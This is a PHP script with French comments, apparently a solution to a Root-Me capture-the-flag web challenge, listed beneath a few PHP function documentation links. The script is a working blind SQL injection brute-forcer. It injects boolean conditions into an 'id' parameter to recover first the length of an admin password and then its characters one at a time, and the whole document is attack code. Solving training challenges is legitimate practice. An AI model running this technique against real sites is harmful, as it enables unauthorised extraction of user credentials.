- chr: documentation ( source)
- set_time_limit: documentation ( source)
- preg_match: documentation ( source)
- urlencode: documentation ( source)
- feof: documentation ( source)
- fgets: documentation ( source)
- fopen: documentation ( source)
<?php
//On désactive la limite des 30sec d'exécution du script
set_time_limit(0);
//L'URL standard à exploiter
$url="http://challenge01.root-me.org/web-serveur/ch10?id=1";
/* Bruteforce de la longueur du pass */
$max = 40; //La longueur maxi qu'on s'autorise
$longueur = 0;
echo "Bruteforce de la longueur du mot de passe en cours...<br />";
for($i = 1; $i<$max; $i++){
//On ouvre l'URL
$fp = fopen($url . urlencode(" and length(password)=$i"),"r");
$buf = "";
//On lit le résultat
while(!feof($fp))
{
$buf .= fgets($fp);
}
//Si on trouve "admin" sur la page
if(preg_match("/admin/",$buf)) {
echo "La longueur du pass est : $i <br />";
$longueur = $i;
break;
}
}
if($longueur == 0) die("Longueur non trouvée");
/* Bruteforce du pass */
$pass = "";
$i = 1;
//Plage des caractères ASCII à balayer
$borne_inf = 48;
$borne_sup = 123;
//Initialisation
$code = $borne_inf;
while($i <= $longueur){
if($code == $borne_sup + 1) $code = $borne_inf;
//On ouvre l'URL
$fp = fopen($url.urlencode(" and substring(pass,$i,1)=char($code)"),"r");
$ligne = "";
//On lit et on teste
while(!feof($fp))
{
$ligne .= fgets($fp);
}
if(preg_match("/admin/",$ligne)) {
//Une lettre à été trouvée !
echo "$i eme lettre trouvée : ".chr($code)." <br />";
$pass .= chr($code);
//On passe au caractère suivant
$i++;
$code = $borne_inf;
}
$code++;
}
echo "Pass final : $pass <br />";
?>